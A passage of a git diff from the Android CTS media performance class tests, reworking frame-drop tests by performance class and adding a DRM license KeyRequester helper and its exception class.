- MediaCodecInfo.CodecCapabilities codecCapabilities =
- codec.getCodecInfo().getCapabilitiesForType(mMime);
- if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 1920);
- format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
- } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 1280);
- format.setInteger(MediaFormat.KEY_HEIGHT, 720);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
- } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 640);
- format.setInteger(MediaFormat.KEY_HEIGHT, 480);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
- } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 352);
- format.setInteger(MediaFormat.KEY_HEIGHT, 288);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
- } else {
- format.setInteger(MediaFormat.KEY_WIDTH, 176);
- format.setInteger(MediaFormat.KEY_HEIGHT, 144);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
- }
- codec.release();
- format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
- format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
- format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
- MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
- }
- return format;
- }
-
- public long calculateEncoderInitializationLatency() throws Exception {
- MediaFormat format = setUpFormat();
- if (mIsAudio) {
- mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
- mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
- } else {
- mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
- mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
- }
- setUpSource(mInputFile);
- MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
- long enqueueTimeStamp = 0;
- long dequeueTimeStamp = 0;
- long baseTimeStamp = System.nanoTime();
- mCodec = MediaCodec.createByCodecName(mEncoderName);
- resetContext(mIsAsync, false);
- mAsyncHandle.setCallBack(mCodec, mIsAsync);
- mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
- long configureTimeStamp = System.nanoTime();
- mCodec.start();
- long startTimeStamp = System.nanoTime();
- if (mIsAsync) {
- // We will keep on feeding the input to encoder until we see the first dequeued frame.
- while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
- Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
- if (element != null) {
- int bufferID = element.first;
- MediaCodec.BufferInfo info = element.second;
- if (info != null) {
- dequeueTimeStamp = System.nanoTime();
- dequeueOutput(bufferID, info);
- break;
- } else {
- if (enqueueTimeStamp == 0) {
- enqueueTimeStamp = System.nanoTime();
- }
- enqueueInput(bufferID);
- }
- }
- }
- } else {
- while (!mSawOutputEOS) {
- if (!mSawInputEOS) {
- int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
- if (inputBufferId > 0) {
- if (enqueueTimeStamp == 0) {
- enqueueTimeStamp = System.nanoTime();
- }
- enqueueInput(inputBufferId);
- }
- }
- int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
- if (outputBufferId >= 0) {
- dequeueTimeStamp = System.nanoTime();
- dequeueOutput(outputBufferId, outInfo);
- break;
- }
- }
- }
- queueEOS();
- waitForAllOutputs();
- mCodec.stop();
- mCodec.release();
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure) in ns: " + (configureTimeStamp - baseTimeStamp));
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure + start) in ns: " +
- (startTimeStamp - baseTimeStamp));
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure + start + first frame to enqueue) in ns: " +
- (enqueueTimeStamp - baseTimeStamp));
- Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
- " Time for (create + configure + start + first frame to dequeue) in ns: " +
- (dequeueTimeStamp - baseTimeStamp));
- long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
- return timeToConfigureMs;
- }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
index 0bf31d7..b6a752a 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
@@ -16,25 +16,18 @@
package android.mediapc.cts;
-import static org.junit.Assert.assertTrue;
-
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.mediapc.cts.common.Utils;
-import android.os.Build;
-
import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
+import java.util.Collection;
+import org.junit.Assume;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
-import java.util.Collection;
-
/**
* The following test class validates the frame drops of a playback for the hardware decoders
* under the load condition (Transcode + Audio Playback).
@@ -47,6 +40,9 @@
super(mimeType, decoderName, isAsync);
}
+ @Rule
+ public final TestName mTestName = new TestName();
+
// Returns the list of parameters with mimeTypes and their hardware decoders
// combining with sync and async modes.
// Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
@@ -55,34 +51,58 @@
return prepareArgumentsList(null);
}
+ private int testDecodeToSurface(int frameRate) throws Exception {
+ String[] testFiles = frameRate == 30 ?
+ new String[]{m1080p30FpsTestFiles.get(mMime)} :
+ new String[]{m1080p60FpsTestFiles.get(mMime)};
+ PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName, testFiles,
+ mSurface, frameRate, mIsAsync);
+ return playbackFrameDrop.getFrameDropCount();
+ }
+
/**
* This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
- * at 60 fps for S perf class / 30 fps for R perf class, for at least 30 seconds worth of
- * frames or for 31 seconds of elapsed time. must not drop more than 6 frames for S perf
- * class / 3 frames for R perf class.
+ * at 30 fps for R perf class, for at least 30 seconds worth of frames or for 31 seconds of
+ * elapsed time. must not drop more than 3 frames for R perf class.
*/
@LargeTest
@Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
@CddTest(requirement="2.2.7.1/5.3/H-1-1")
- public void testDecodeToSurface() throws Exception {
- PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
- new String[]{m1080pTestFiles.get(mMime)}, mSurface, FRAME_RATE, mIsAsync);
- int frameDropCount = playbackFrameDrop.getFrameDropCount();
- if (Utils.isPerfClass()) {
- assertTrue("FrameDrop count for mime: " + mMime + ", decoder: " + mDecoderName
- + ", FrameRate: " + FRAME_RATE + ", is not as expected. act/exp: "
- + frameDropCount + "/" + MAX_FRAME_DROP_FOR_30S,
- frameDropCount <= MAX_FRAME_DROP_FOR_30S);
- } else {
- int pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S ? Build.VERSION_CODES.R : 0;
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "FrameDrop_" + mDecoderName);
- log.addValue("decoder", mDecoderName, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("frame_drops_for_30sec", frameDropCount, ResultType.LOWER_BETTER,
- ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.3/H-1-1 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
- }
+ public void test30Fps() throws Exception {
+ Assume.assumeTrue("Test is limited to R performance class devices or devices that do not " +
+ "advertise performance class",
+ Utils.isRPerfClass() || !Utils.isPerfClass());
+ int frameRate = 30;
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_1_R = pce.addR5_3__H_1_1_R();
+
+ int framesDropped = testDecodeToSurface(frameRate);
+ r5_3__H_1_1_R.setFramesDropped(framesDropped);
+ r5_3__H_1_1_R.setFrameRate(frameRate);
+ pce.submitAndCheck();
+ }
+
+ /**
+ * This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
+ * at 60 fps for S/T perf class, for at least 30 seconds worth of frames or for 31 seconds of
+ * elapsed time. must not drop more than 6 frames for S perf class / 3 frames for T perf class.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirement="2.2.7.1/5.3/H-1-1")
+ public void test60Fps() throws Exception {
+ Assume.assumeTrue("Test is limited to S/T performance class devices or devices that do " +
+ "not advertise performance class",
+ Utils.isSPerfClass() || Utils.isTPerfClass() || !Utils.isPerfClass());
+ int frameRate = 60;
+
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.FrameDropRequirement r5_3__H_1_1_ST = pce.addR5_3__H_1_1_ST();
+
+ int framesDropped = testDecodeToSurface(frameRate);
+ r5_3__H_1_1_ST.setFramesDropped(framesDropped);
+ r5_3__H_1_1_ST.setFrameRate(frameRate);
+ pce.submitAndCheck();
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index 66d2be0..d12a2f2 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -26,6 +26,7 @@
import android.media.MediaFormat;
import android.mediapc.cts.common.Utils;
+import android.os.Build;
import android.util.Log;
import android.view.Surface;
@@ -52,9 +53,13 @@
static final String AAC_LOAD_FILE_NAME = "bbb_1c_128kbps_aac_audio.mp4";
static final String AVC_LOAD_FILE_NAME = "bbb_1280x720_3mbps_30fps_avc.mp4";
static final long DECODE_31S = 31000; // In ms
- static final int MAX_ADAPTIVE_PLAYBACK_FRAME_DROP = 0;
- static final int FRAME_RATE = Utils.isSPerfClass() ? 60 : 30;
static final int MAX_FRAME_DROP_FOR_30S;
+ // For perf class R, one frame drop per 10 seconds at 30 fps i.e. 3 drops per 30 seconds
+ static final int MAX_FRAME_DROP_FOR_30S_30FPS_PC_R = 3;
+ // For perf class S, two frame drops per 10 seconds at 60 fps i.e. 6 drops per 30 seconds
+ static final int MAX_FRAME_DROP_FOR_30S_60FPS_PC_S = 6;
+ // For perf class T, one frame drop per 10 seconds at 60 fps i.e. 3 drops per 30 seconds
+ static final int MAX_FRAME_DROP_FOR_30S_60FPS_PC_T = 3;
final String mMime;
final String mDecoderName;
@@ -70,37 +75,46 @@
static String AVC_DECODER_NAME;
static String AVC_ENCODER_NAME;
static String AAC_DECODER_NAME;
- static Map<String, String> m540pTestFiles = new HashMap<>();
- static Map<String, String> m1080pTestFiles = new HashMap<>();
+ static Map<String, String> m540p30FpsTestFiles = new HashMap<>();
+ static Map<String, String> m1080p30FpsTestFiles = new HashMap<>();
+ static Map<String, String> m540p60FpsTestFiles = new HashMap<>();
+ static Map<String, String> m1080p60FpsTestFiles = new HashMap<>();
static {
- if (Utils.isSPerfClass()) {
- // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
- MAX_FRAME_DROP_FOR_30S = 6;
- m540pTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
- m540pTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
- m540pTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
- m540pTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
- m540pTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
+ m540p60FpsTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
+ m540p60FpsTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
+ m540p60FpsTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
+ m540p60FpsTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
+ m540p60FpsTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
- m1080pTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
- m1080pTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
- m1080pTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
- m1080pTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
- m1080pTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
- } else {
- // One frame drops per 10 seconds at 30 fps is 3 drops per 30 seconds
- MAX_FRAME_DROP_FOR_30S = 3;
- m540pTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
- m540pTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
- m540pTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
- m540pTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
- m540pTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+ m1080p60FpsTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
+ m1080p60FpsTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
+ m1080p60FpsTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
+ m1080p60FpsTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
+ m1080p60FpsTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
- m1080pTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
- m1080pTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
- m1080pTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
- m1080pTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
- m1080pTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+ m540p30FpsTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
+ m540p30FpsTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
+ m540p30FpsTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
+ m540p30FpsTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
+ m540p30FpsTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+
+ m1080p30FpsTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+ m1080p30FpsTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+ m1080p30FpsTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+ m1080p30FpsTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+ m1080p30FpsTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+
+ switch (Utils.getPerfClass()) {
+ case Build.VERSION_CODES.TIRAMISU:
+ MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_60FPS_PC_T;
+ break;
+ case Build.VERSION_CODES.S:
+ MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_60FPS_PC_S;
+ break;
+ case Build.VERSION_CODES.R:
+ default:
+ MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_30FPS_PC_R;
+ break;
}
}
@@ -147,7 +161,7 @@
final String[] mimesList = new String[] {AVC, HEVC, VP8, VP9, AV1};
for (String mime : mimesList) {
MediaFormat format = MediaFormat.createVideoFormat(mime, 1920, 1080);
- format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
ArrayList<MediaFormat> formats = new ArrayList<>();
formats.add(format);
ArrayList<String> listOfDecoders =
@@ -161,6 +175,18 @@
return argsList;
}
+ protected int getAchievedPerfClass(int frameRate, int frameDropCount) {
+ int pc = 0;
+ if (frameRate == 30) {
+ pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S_30FPS_PC_R ? Build.VERSION_CODES.R : 0;
+ } else {
+ pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S_60FPS_PC_T ? Build.VERSION_CODES.TIRAMISU
+ : frameDropCount <= MAX_FRAME_DROP_FOR_30S_60FPS_PC_S ? Build.VERSION_CODES.S
+ : 0;
+ }
+ return pc;
+ }
+
private void createSurface() throws InterruptedException {
mActivityRule.getActivity().waitTillSurfaceIsCreated();
mSurface = mActivityRule.getActivity().getSurface();
@@ -218,7 +244,6 @@
private void stopLoad() throws Exception {
if (mLoadStatus != null) {
mLoadStatus.setLoadFinished();
- mLoadStatus = null;
}
if (mTranscodeLoadThread != null) {
mTranscodeLoadThread.join();
@@ -230,5 +255,6 @@
}
if (mTranscodeLoadException != null) throw mTranscodeLoadException;
if (mAudioPlaybackLoadException != null) throw mAudioPlaybackLoadException;
+ mLoadStatus = null;
}
}
diff --git a/tests/mediapc/src/android/mediapc/cts/KeyRequester.java b/tests/mediapc/src/android/mediapc/cts/KeyRequester.java
new file mode 100644
index 0000000..eac9dab
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/KeyRequester.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.media.MediaDrm;
+import android.media.MediaDrm.MediaDrmStateException;
+import android.media.NotProvisionedException;
+import android.util.Base64;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.UUID;
+
+/*
+ * KeyRequester is used to request and update the current set of
+ * keys in the CDM. KeyRequester should not be created, used, and
+ * thrown away. A single KeyRequester should last the same period as
+ * the session as it will track the changes in key servers.
+ */
+public class KeyRequester {
+ private final MediaDrm mDrm;
+ private final UUID mCryptoScheme;
+ private int mKeyType;
+ private byte[] mSessionId;
+ private final byte[] mEmeInitData;
+ private static String mMime = null;
+ private static final String TAG = "KeyRequester";
+ private static final UUID PLAYREADY_UUID = new UUID(0x9A04F07998404286L, 0xAB92E65BE0885F95L);
+ private static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
+ private static final String PLAYREADY_CUSTOM_DATA_KEY = "PRCustomData";
+ private static final int MAX_KEY_REQUEST_ATTEMPTS = 4;
+
+ /*
+ * The server url will change during runtime. The additional URLs will get added through
+ * calls to getDefaultUrl(). We keep the original in mServerUrl as a fallback.
+ */
+ private final String mServerUrl;
+ private Post.Response mResponse = null;
+
+ public KeyRequester(
+ MediaDrm drm,
+ byte[] sessionId,
+ int keyType,
+ String mimeType,
+ byte[] emeInitData,
+ String initialServerUrl) {
+
+ this(drm, sessionId, keyType, mimeType, emeInitData, initialServerUrl, WIDEVINE_UUID);
+ }
+
+ public KeyRequester(
+ MediaDrm drm,
+ byte[] sessionId,
+ int keyType,
+ String mimeType,
+ byte[] emeInitData,
+ String initialServerUrl,
+ UUID cryptoScheme) {
+
+ mDrm = drm;
+ mSessionId = sessionId;
+ mKeyType = keyType;
+ mMime = mimeType;
+ mEmeInitData = emeInitData;
+ mServerUrl = initialServerUrl;
+ mCryptoScheme = cryptoScheme;
+ }
+
+ public MediaDrm.KeyRequest getKeyRequest() throws Exception {
+ HashMap<String, String> optionalKeyRequestParameters = null;
+ return getKeyRequest(optionalKeyRequestParameters);
+ }
+
+ public MediaDrm.KeyRequest getKeyRequest(String customData) throws Exception {
+ HashMap<String, String> optionalKeyRequestParameters = new HashMap<>();
+ optionalKeyRequestParameters.put(PLAYREADY_CUSTOM_DATA_KEY, customData);
+ return getKeyRequest(optionalKeyRequestParameters);
+ }
+
+ public MediaDrm.KeyRequest getKeyRequest(HashMap<String, String> optionalKeyRequestParameters)
+ throws Exception {
+ MediaDrm.KeyRequest keyRequest = null;
+ int tries = 1;
+ boolean needsRetry;
+ do {
+ try {
+ needsRetry = false;
+ if (mEmeInitData == null) {
+ keyRequest = mDrm.getKeyRequest(
+ mSessionId,
+ null,
+ null,
+ mKeyType,
+ optionalKeyRequestParameters);
+ } else {
+ keyRequest = mDrm.getKeyRequest(
+ mSessionId,
+ mEmeInitData,
+ mMime,
+ mKeyType,
+ optionalKeyRequestParameters);
+ }
+ } catch (NotProvisionedException ex) {
+ // From Android 12(/S) onwards, because of the introduction of DRM certificates
+ // expiration, getKeyRequest may be throw NotProvisionedException.
+ // The exception is handled here.
+ if (tries == MAX_KEY_REQUEST_ATTEMPTS) {
+ throw ex;
+ }
+ // Provision the device
+ new ProvisionRequester(mDrm).send();
+ needsRetry = true;
+ tries++;
+ }
+ } while (needsRetry);
+
+ return keyRequest;
+ }
+
+ public byte[] send() throws Exception {
+ return send(getKeyRequest());
+ }
+
+ public byte[] send(MediaDrm.KeyRequest request) throws Exception {
+ sendRequest(request);
+ return provideResponse();
+ }
+
+ public void sendRequest() throws Exception {
+ sendRequest(getKeyRequest());
+ }
+
+ public void sendRequest(MediaDrm.KeyRequest request) throws Exception {
+
+ String url;
+ String defaultUrl = request.getDefaultUrl();
+
+ // Use mServerUrl for PLAYREADY_UUID.
+ if (!mCryptoScheme.equals(PLAYREADY_UUID) && !defaultUrl.isEmpty()) {
+ url = defaultUrl;
+ } else {
+ url = mServerUrl;
+ }
+
+ try {
+ Log.d(TAG, "CURRENT_URL: " + url);
+ logLicensingRequest(request);
+
+ final Post post = new Post(url, request.getData());
+
+ if (mCryptoScheme.equals(PLAYREADY_UUID)) {
+ post.setProperty("Content-Type", "text/xml");
+ post.setProperty("SOAPAction",
+ "http://schemas.microsoft.com/DRM/2007/03/protocols/AcquireLicense");
+ } else {
+ post.setProperty("User-Agent", "Widevine CDM v1.0");
+ post.setProperty("Connection", "close");
+ post.setProperty("Accept", "*/*");
+ }
+
+ mResponse = post.send();
+ Log.d(TAG, "RESPONSE_CODE: " + Integer.toString(mResponse.code));
+ logLicensingResponse(mResponse);
+
+ if (mResponse.code != 200) {
+ throw new KeyRequesterException(
+ mResponse.code,
+ "Server returned HTTP error code " + mResponse.code,
+ mResponse.body);
+ }
+
+ if (mResponse.body == null) {
+ throw new KeyRequesterException(
+ mResponse.code, "No response from license service!", null);
+ }
+
+ if (mResponse.body.length == 0) {
+ throw new KeyRequesterException(
+ mResponse.code, "Empty response from license service!",
+ mResponse.body);
+ }
+
+ } catch (Exception e) {
+ Log.e(TAG, "EXCEPTION: " + e.toString());
+ Log.e(TAG, "StackTrace: " + e.fillInStackTrace());
+ throw e;
+ }
+ }
+
+ public byte[] provideResponse() throws Exception {
+
+ byte[] keySetId = null;
+ try {
+ // Additional null check on response to appease "null response" dereference warning.
+ byte[] responseBody =
+ mResponse != null ? parseResponseBody(mResponse.body) : new byte[0];
+
+ keySetId = mDrm.provideKeyResponse(mSessionId, responseBody);
+ } catch (MediaDrmStateException mdse) {
+ // Test is likely shutting down on main thread, the network thread just needs to return.
+ Log.w(TAG, "MediaDrmStateException received providing key response to MediaDrm. "
+ + "Likely means the test has completed on the main thread. "
+ + "Details: " + mdse.fillInStackTrace());
+ return null;
+ }
+
+ if (keySetId == null) {
+ throw new Exception("Received null keySetId from provideKeyResponse.");
+ }
+
+ return keySetId; /* Empty byte array for streaming/release requests, keySetId for offline */
+ }
+
+ // Public due to use in MediaDrmTest
+ public byte[] parseResponseBody(byte[] responseBody) throws Exception {
+ final String bodyString = new String(responseBody, "UTF-8");
+
+ if (!bodyString.startsWith("GLS/")) {
+ return responseBody;
+ }
+
+ if (!bodyString.startsWith("GLS/1.")) {
+ throw new Exception("Invalid server version, expected 1.x");
+ }
+
+ final int drmMessageOffset = bodyString.indexOf("\r\n\r\n");
+
+ if (drmMessageOffset == -1) {
+ throw new Exception("Invalid server response, could not locate drm message");
+ }
+
+ return Arrays.copyOfRange(
+ responseBody,
+ drmMessageOffset + 4,
+ responseBody.length);
+ }
+
+ /*
+ * In the case of offline keys, where the session that first retrieved the keys may not be
+ * the session that uses the keys during playback, need to allow a way to update the
+ * session to use in future license service calls.
+ */
+ public void updateSessionId(byte[] sessionId) {
+ mSessionId = sessionId;
+ }
+
+ public void updateKeyType(int keyType) {
+ mKeyType = keyType;
+ }
+
+ public String getInitialServerUrl() {
+ return mServerUrl;
+ }
+
+ private void logLicensingRequest(MediaDrm.KeyRequest request) {
+ try {
+ String myRequest = Base64.encodeToString(request.getData(), Base64.NO_WRAP);
+ Log.i(TAG, "LICENSE_REQUEST: " + myRequest);
+
+ } catch (Exception ex) {
+ Log.e(TAG,
+ "LICENSE_REQUEST: Failure to log licensing request. ", ex);
+ }
+ }
+
+ private void logLicensingResponse(Post.Response response) {
+ try {
+ String myResponse;
+ String failed_template = "Response failed with code: %d \n Body: \n%s";
+
+ if ((response.body == null) || (response.body.length == 0)) {
+ myResponse = String.format(
+ Locale.getDefault(), failed_template, response.code, "NULL or EMPTY");
+ } else if (response.code < 400) {
+ myResponse = Base64.encodeToString(response.body, Base64.NO_WRAP);
+ } else {
+ myResponse = String.format(Locale.getDefault(), failed_template, response.code,
+ new String(response.body, "UTF-8"));
+ }
+
+ Log.i(TAG, "LICENSE_RESPONSE: " + myResponse);
+
+ } catch (Exception ex) {
+ Log.e(TAG, "LICENSE_RESPONSE: Failure to log licensing response. ", ex);
+ }
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java b/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java
new file mode 100644
index 0000000..f57d3f9
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+/*
+ * KeyRequesterException is used to hold data received from the license server response when a key
+ * request fails. This data is used by the ExpectException criteria to validate certain responses
+ * from the license server when invalid Policy configurations are requested in the license request.
+ */
+public class KeyRequesterException extends Exception {
+ private final int mResponseCode;
+ private final String mResponseMessage;
+ private final byte[] mResponseBody;
+
+ public KeyRequesterException(int responseCode, String responseMessage, byte[] responseBody) {
+ mResponseCode = responseCode;
+ mResponseMessage = responseMessage;
+ mResponseBody = responseBody;
+ }
+
+ public int getResponseCode() {
+ return mResponseCode;
+ }
+
+ public String getResponseMessage() {
+ return mResponseMessage;
+ }
+
+ public byte[] getResponseBody() {
+ return mResponseBody;
+ }
+
+ @Override
+ public String getMessage() {
+ return getResponseMessage();
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index ec27bf9..37f0106 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -16,39 +16,48 @@
package android.mediapc.cts;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.mediapc.cts.CodecDecoderTestBase.WIDEVINE_UUID;
import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-
import static org.junit.Assert.assertTrue;
+import android.content.Context;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaDrm;
import android.media.MediaFormat;
+import android.media.UnsupportedSchemeException;
import android.mediapc.cts.common.Utils;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.Network;
+import android.os.Build;
import android.util.Log;
import android.util.Pair;
-
-import org.junit.Before;
-
import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
+import org.junit.Assume;
+import org.junit.Before;
public class MultiCodecPerfTestBase {
private static final String LOG_TAG = MultiCodecPerfTestBase.class.getSimpleName();
static final boolean[] boolStates = {true, false};
static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
